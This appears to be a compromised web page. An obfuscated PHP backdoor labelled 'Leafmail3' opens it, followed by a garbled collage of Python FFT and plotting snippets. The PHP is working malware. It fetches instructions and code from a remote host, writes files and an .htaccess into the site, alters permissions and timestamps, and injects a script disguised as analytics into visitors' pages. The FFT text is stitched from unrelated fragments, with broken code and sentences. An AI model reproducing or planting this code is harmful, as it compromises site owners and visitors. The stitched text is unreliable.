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<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
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<p><span class="button button--primary">Python fft plot. Plot Square Wave in Python. Jan 14, 2020 · Plotting FFT frequencies in Hz in Python. Numpy has a convenience function, np. fft モジュールと同様に機能します。scipy. abs( F2 )**2 # plot the power spectrum py. flatten() #to convert DataFrame to 1D array #acc value must be in numpy array format for half way Apr 30, 2014 · import matplotlib. An FFT Filter is a process that involves mapping a time signal from time-space to frequency-space in which frequency becomes an axis. Import Data¶. open("test. fft 모듈은 더 많은 추가 기능과 업데이트된 기능으로 scipy. The Fast Fourier Transform (FFT) is an efficient algorithm to calculate the DFT of a sequence. fft import fft , fftfreq >>> import numpy as np >>> # Number of sample points >>> N = 600 >>> # sample spacing >>> T = 1. Parameters: a array_like. angle functions to get the magnitude and phase. Note that both arguments are vectors. Tukey in 1965, in their paper, An algorithm for the machine calculation of complex Fourier series. Let’s see it in action on our original signal without noise: yf_ifft = fft. Frequencies associated with DFT values (in python) By fft, Fast Fourier Transform, we understand a member of a large family of algorithms that enable the fast computation of the DFT, Discrete Fourier Transform, of an equisampled signal. fft function to get the frequency components. Modified 9 years, 3 months ago. Input array, can be complex. The Fast Fourier Transform (FFT) is the practical implementation of the Fourier Transform on Digital Signals. jpg', flatten=True) # flatten=True gives a greyscale Oct 31, 2021 · The Fast Fourier Transform can be computed using the Cooley-Tukey FFT algorithm. The returned float array f contains the frequency bin centers in cycles per unit of the sample spacing (with zero at the start). signal. Because >> db2mag(0. fft, which computes the discrete Fourier Transform with the efficient Fast Fourier Transform (FFT) algorithm. Don't do it. Plot both results. Modified 2 years ago. signal import find_peaks # First: Let's generate a dummy dataframe with X,Y # The signal consists in 3 cosine signals with noise added. fft. You'll explore several different transforms provided by Python's scipy. The DFT has become a mainstay of numerical computing in part because of a very fast algorithm for computing it, called the Fast Fourier Transform (FFT), which was known to Gauss (1805) and was brought Feb 5, 2018 · import pandas as pd import numpy as np from numpy. values. And the ideal bode plot. When I did this, things went wrong. pyplot as plt t=pd. 0）。. Jun 5, 2016 · np. It is described first in Cooley and Tukey’s classic paper in 1965, but the idea actually can be traced back to Gauss’s unpublished work in 1805. fftpackはLegacyとなっており、推奨されていない; scipyはドキュメントが非常にわかりやすかった The second optional flag, ‘method’, determines how the convolution is computed, either through the Fourier transform approach with fftconvolve or through the direct method. Jan 28, 2021 · Fourier Transform Vertical Masked Image. fft 모듈 사용. fft 모듈과 유사하게 작동합니다. This example demonstrate scipy. fft# fft. Fast Fourier Transform (FFT)¶ Now back to the Fourier Transform. imread('image2. Ok so, I want to open image, get value of every pixel in RGB, then I need to use fft on it, and convert to image again. Below is the code. We can see that the horizontal power cables have significantly reduced in size. show() May 17, 2019 · I can't generate data for you but I wrote an example which updates a matplotlib graph in a loop: import matplotlib. Jan 30, 2023 · 高速フーリエ変換に Python numpy. Jul 12, 2016 · I'm trying to plot the 2D FFT of an image: from scipy import fftpack, ndimage import matplotlib. pyplot as plt import numpy as np import time plt. Specifies how to detrend each segment. fftfreq(samples, d=sample_interval)) Plotting. 0 >>> x = np . 6. fft? Edit The first command creates the plot. random. fftかnumpy. Sep 9, 2014 · Plotting a fast Fourier transform in Python. Notes. csv',usecols=[0]) a=pd. Feb 2, 2024 · Use the Python scipy. I have access to NumPy and SciPy and want to create a simple FFT of a data set. pyplot as plt from scipy. fft는 numpy. FFT (Fast Fourier Transform) refers to a way the discrete Fourier Transform (DFT) can be calculated efficiently, by using symmetries in the calculated terms. fftfreq(N, dx)) plt. I expected my PSD to peak at 100. EXAMPLE: Use fft and ifft function from numpy to calculate the FFT amplitude spectrum and inverse FFT to obtain the original signal. The plots show different spectrum representations of a sine signal with additive noise. 134. show() Oct 10, 2012 · Here we deal with the Numpy implementation of the fft. fftpack import fft from scipy. fftfreq(data. The example python program creates two sine waves and adds them before fed into the numpy. 5 ps = np. The Fourier transform method has order \(O(N\log N)\), while the direct method has order \(O(N^2)\). detrend str or function or False, optional. Numpy does the calculation of the squared norm component by component. The example plots the FFT of the sum of two sines. Use the Python numpy. Jan 23, 2024 · Inverse Fourier Transform. Jun 15, 2013 · I need to plot their fourier transform in order to study their spectra. Jan 22, 2020 · Key focus: Learn how to plot FFT of sine wave and cosine wave using Python. ion() # Stop matplotlib windows from blocking # Setup figure, axis and initiate plot fig, ax = plt. In this plot the x axis is frequency and the y axis is the squared norm of the Fourier transform. pyplot as plt plt. 5 Rad/s we can se that we have amplitude about 1. Ask Question Asked 9 years, 3 months ago. 8\) seconds duration), this is because the size of FFT is considered as \(N=256\). Fourier analysis conveys a function as an aggregate of periodic components and extracting those signals from the components. Nov 8, 2021 · I tried to put as much details as possible: import pandas as pd import matplotlib. fft からいくつかの機能をエクスポートします。 numpy. fftpack. read('test. Note: The length of the reconstructed signal is only \(256\) sample long (\(\approx 0. If None, the FFT length is nperseg. read_csv('C:\\Users\\trial\\Desktop\\EW. If it is a function, it takes a segment and returns a detrended segment. fft = np. Let’s take the two sinusoidal gratings you created and work out their Fourier transform using Python’s NumPy. Applying the Fast Fourier Transform on Time Series in Python. fftfreq already returns the right frequencies, adding a "center frequency" mekes no sense. In this Python tutorial article, we will understand Fast Fourier Transform and plot it in Python. fft에서 일부 기능을 내보냅니다. io import wavfile # get the api fs, data = wavfile. linspace(-limit, limit, N) dx = x[1] - x[0] y = np. signal_spectrum = np. pi / 4 f = 1 fs = f*20 dur=10 t = np. fftfreq() and scipy. 1. By mapping to this space, we can get a better picture for how much of which frequency is in the original time signal and we can ultimately cut some of these frequencies out to remap back into time-space. Jun 27, 2019 · I am trying some sample code taking the FFT of a simple sinusoidal function. In this tutorial, you'll learn how to use the Fourier transform, a powerful tool for analyzing signals with applications ranging from audio processing to image compression. pyplot as plt import scipy. If detrend is a string, it is passed as the type argument to the detrend function. fft（高速フーリエ変換）をするなら、scipy. find_peaks, as its name suggests, is useful for this. It implements a basic filter that is very suboptimal, and should not be used. 3. abs(np. Comparatively slow python numpy 3D Fourier 